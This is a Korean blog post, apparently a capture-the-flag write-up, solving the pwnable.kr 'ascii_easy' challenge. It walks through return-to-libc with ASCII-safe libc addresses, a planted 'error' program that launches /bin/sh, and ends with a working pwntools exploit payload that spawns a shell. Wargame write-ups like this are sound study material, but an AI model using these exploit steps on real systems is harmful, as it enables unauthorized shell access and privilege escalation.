일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | 5 | 6 | 7 |
8 | 9 | 10 | 11 | 12 | 13 | 14 |
15 | 16 | 17 | 18 | 19 | 20 | 21 |
22 | 23 | 24 | 25 | 26 | 27 | 28 |
29 | 30 | 31 |
- 구현
- 컴공복전
- 알고리즘
- Memory Management
- 운영체제
- exec
- 백준
- 삼성리서치
- 스케줄링
- 완전탐색
- fork
- 삼성기출
- BOJ
- 동기화문제
- 프로세스
- Brute Force
- samsung research
- higunnew
- BFS
- 가상메모리
- pwnable.kr
- segmentation
- 시뮬레이션
- ascii_easy
- Deadlock
- paging
- dfs
- 백트래킹
- 김건우
- 데드락
- Today
- Total
gunnew의 잡설
pwnable.kr 18. ascii_easy (ROP) 본문
이번 문제는 bof와 유사하긴 하지만 써야 하는 테크닉과 알아야 하는 개념들이 꽤 많다. 특히 ascii 필터 부분 때문에 고생을 꽤나 했다.
이번 문제를 풀기 위해서는 ROP(Return Oriented Programming)에 대한 개념이 있어야 한다. BOF와 유사하니 충분히 이해할 수 있다. ROP를 여기서 설명하기엔 내가 너무 힘들어서 못하겠다..
RTL(Return-to-Libc), RTL Chaining, GOT Overwrite에 대한 개념이 필요하다.
참고 : https://d4m0n.tistory.com/84?category=796362
RTL Chaining : https://hackstoryadmin.tistory.com/entry/ELF-Technique-RTL-Chaining
일단 ssh로 접속하여 ls를 하면 libc-2.15.so라는 라이브러리를 준다. 주어진 라이브러리를 이용하는 모양이다.
ascii_easy.c 파일을 보면 BASE로 0x5555e000을 준다.
우선 mmap을 이용하여 0x5555e000에 libc-2.15.so를 통째로 올려버린다. 그리고 main함수의 두 번째 인자 문자열이 전부 ascii로 이루어졌는지 판단한 후 vuln으로 넘어간다.
ROP를 하려면 우리는 일단 vuln에 도달해야 한다. 그런데 payload를 작성할 때, ascii를 고려해야 하는데 일단 이건 무시하고 가장 기본적인 접근부터 해보자.
1. system("/bin/sh") ????? |
일단 shell을 따는 가장 기본적인 함수인 system("/bin/sh")로 해봐야겠다는 생각이 든다.
우리 스터디원 중 한 분이 거의 도라에몽 주머니 급이다. 필요한 개념 설명 사이트를 도대체 어디서 찾으시는지 쏟아져 나온다. 정말 대단하신 분이다. 이 사이트도 그분이 알려주셨다. 참고하자.
https://niiconsulting.com/checkmate/2019/09/exploiting-buffer-overflow-using-return-to-libc/
* BASE address : 0x5555e000
해당 라이브러리에 /bin/sh가 어딨는지 다음 명령어를 통해 찾자.
"/bin/sh" offset : 0x15d7ec
0x5555e000 + 0x15d7ec = 0x556BB7EC
system함수가 어딨는지 찾아보자.
system@@GLIBC_2.0 : 0x3eed0
0x5555E000 + 0x3EED0 = 0x5559CED0
vuln 함수를 뜯어보면 buf가 ebp-28에 있다. 그럼 다음과 같은 구조로 vuln 스택 프레임이 구성되어 있을 것이다.
그러니까 RET을 덮어 씌우려면 32bytes를 overflow 해야 한다. 이렇게 해보자.
non-ascii byte라고 뜬다.
그리고 이걸 뚫기 위해 이 부분을 다시 들여다 보면서 strlen의 특성을 활용해 중간에 \x00 (EOS)를 삽입하는 방식도 시도했지만 실패했다.
2. ASCII-Filter Penetration |
이름은 거창한데 실은 별 게 없다. 그냥 /bin/sh를 실행할 수 있는 것 중에 byte 단위로 ASCII 범위에 들어오는지 체크한다. 0x20 <= x <= 0x7f 면 된다.
이번엔 좀 다르게 objdumb -d libc-2.15.so | grep execve를 이용해서 주소를 구했다. 앞에서는 readelf를 통해서 얻었는데 objdump는 BFD(Binary File Descriptor) 라이브러리를 통해서 elf 파일을 보는 것이고, readelf는 elf 파일을 통째로 보는 것이다. 아무튼 objdump로 보면 실제로 바이너리 파일이 어떻게 실행되는지 디스어셈블 해주며, 두 방법의 장단점이 명확하다.
우리의 BASE 는 0x5555e000이다. 여기서 어떤 offset을 더해서 각 바이트가 0x20 ~ 0x7f 내에 들어와야 한다. 그 중에 빨간 색 박스친 0xb876a를 보자. 0x5555e000 + 0xb876a를 하면 0x5561676A이다. 모두 범위 내에 들어온다.
execve는 세 개의 인자를 필요로 한다. 따라서 RET이 있던 위치에 execve 함수의 주소를 넣고 나면 그 다음에는 실행시킬 프로그램 이름과 인자 두 개를 넘겨야 한다.
우선 첫 번째 인자인 filename을 어떻게 공격해야 할까? 우리에겐 libc-2.15.so가 주어졌다. 여기에 있는 문자열을 통해서 /bin/sh를 실행시키는 것이 좋겠다. 일단 여기까지 도달하고 나서는 더 이상 나아갈 수 없었다. 그래서 이 블로그를 참고했다.
https://chp747.tistory.com/291
도대체 이런 풀이는 어떻게 생각하시는 건지.. 아무튼 아무 문자열이나 하나 찾아서 그 문자열을 이름으로 하는 프로그램을 만들어서 공격하는 방법이다. 이제 다음 장으로 넘어가보자.
3. "error" 프로그램 작성 |
libc-2.15.so에 있는 수 많은 문자열 중에 ASCII 범위 내에 들어오는 문자열이 있었으니 그 중 하나가 "error"이다.
strings -tx libc-2.15.so | grep "error"
를 통해 주욱 살펴보자.
이 중에 Coprocessor error를 보자. 일단 이 문자열이 있는 주소는
0x5555E000 + 0x159C4A = 0x556B7C4A
이다. 그리고 error는 여기서 0xd를 더한 값이다. ("error " = 0x556b7c56)
gdb로 살펴보자.
그럼 이제 "error"라는 프로그램을 실행할 수 있게 되었다.
error 프로그램은 간단하다. 그냥 system 함수를 통해 /bin/sh를 실행하도록 하자. 단 /tmp에서 /kim이라는 폴더를 만들어서 거기다가 만들자.
그럼 error가 만들어졌다.
4. 환경 변수 작성 |
왜 작성하느냐? 우리는 지금 ~/ 디렉토리에서 ascii_easy를 실행한다. 그런데 거기에는 우리가 파일을 만들 수 없으므로 /tmp/kim에 error라는 프로그램을 두었다. 따라서 ~ 디렉토리에서 /tmp/kim에 있는 error를 실행하려면 환경 변수를 추가해야 한다.
5. Payload 작성 |
pwntool을 작성하자.
from pwn import *
execv = 0x5561676a
error = 0x556b7c56
null = 0x556f7640
argv = "A"*32
argv += p32(execv)
// 인자 세 개
argv += p32(error)
argv += p32(null)
argv += p32(null)
p = process(['/home/ascii_easy/ascii_easy', argv])
p.interactive()
아 일단 힘들어서 다른 거는 못 찾겠다. 나중에 찾을래..
'System Security' 카테고리의 다른 글
pwnable.kr 17. fsb(Format String Bug) (0) | 2020.03.07 |
---|---|
pwnable.kr 16. uaf (Using After Free) (0) | 2020.02.19 |
pwnable.kr 15. cmd2 (0) | 2020.02.19 |
pwnable.kr 14. cmd1 (Wildcard) (0) | 2020.02.17 |
pwnable.kr 13. lotto (0) | 2020.02.17 |